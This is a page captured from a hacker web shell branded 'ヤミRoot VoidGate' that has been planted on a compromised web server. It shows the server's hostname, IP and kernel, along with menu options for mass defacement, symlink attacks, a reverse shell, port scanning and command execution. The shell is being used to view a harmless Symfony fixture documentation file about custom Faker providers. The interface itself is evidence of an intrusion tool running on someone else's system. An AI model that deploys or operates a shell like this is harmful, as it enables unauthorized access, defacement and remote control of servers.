ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
hautelook
/
alice-bundle
/
doc
/
Viewing: faker-providers.md
# Faker Providers As explained in [nelmio/alice](https://github.com/nelmio/alice#custom-faker-data-providers) documentation, you have three ways to declare custom data provider. To use [Custom Faker Provider classes][1] you will have to declare them as services: ```php <?php namespace AppBundle\DataFixtures\Faker\Provider; class FooProvider { public static function foo($str) { return 'foo'.$str; } } ``` Then declare it as a service with the `nelmio_alice.faker.provider` tag unless you have `autoconfigure` enabled: ```yaml # config/services.yaml services: AppBundle\DataFixtures\Faker\Provider\FooProvider: ~ ``` Without `autoconfigure`: ```yaml # config/services.yaml services: AppBundle\DataFixtures\Faker\Provider\FooProvider: tags: [ { name: nelmio_alice.faker.provider } ] ``` That's it! You can now use it in your fixtures: ```yaml # fixtures/orm/dummy.yml (Sf4) # or app/Resources/fixtures/orm/dummy.yml AppBundle\Entity\Dummy: brand{1..10}: name: <foo('a string')> ``` **Warning**: rely on [Custom Faker Providers helpers][2] to generate random data (most of them are static). Refer to [nelmio/alice](https://github.com/nelmio/alice#custom-faker-data-providers) for a more advanced documentation. Previous chapter: [Advanced usage](advanced-usage.md)<br /> Next chapter: [Custom Alice Processors](alice-processors.md) [1]: https://github.com/nelmio/alice/blob/2.x/doc/customizing-data-generation.md#add-a-custom-faker-provider-class [2]: https://github.com/fzaninotto/Faker/blob/master/src/Faker/Provider/Base.php
Coded With 💗 by
0x6ick